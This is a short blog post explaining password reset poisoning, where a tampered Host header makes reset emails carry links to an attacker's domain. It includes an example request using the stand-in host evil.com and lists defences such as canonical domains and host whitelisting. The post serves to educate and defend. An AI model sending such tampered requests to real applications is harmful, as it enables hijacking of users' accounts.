hackweb
notes on hacking and technology
IT EN
main menu
user menu
you are not logged in

Password reset poisoning: hijacking the link via Host header

October 29, 2025 · 1 min read · #web #authentication #password-reset

Many apps build the reset URL using the HTTP Host header. But that header is client-controlled.

The attack

The attacker triggers a reset for the victim with a tampered Host:

POST /reset HTTP/1.1
Host: evil.com
[email protected]

The email reaches the victim but the link points to evil.com/reset?token=.... If the victim clicks (or the client prefetches), the token goes to the attacker, who resets the password.

Defence

Do not trust the Host header (nor X-Forwarded-Host) to build URLs: use a canonical domain from configuration. Whitelist valid hosts at the web-server level. Single-use, short-lived tokens, invalidated after use.


« back to home

latest posts
 
your IP address:
216.73.216.108
visitor #1
MOTD:
Every abstraction leaks somewhere.
Here we look at where.
topics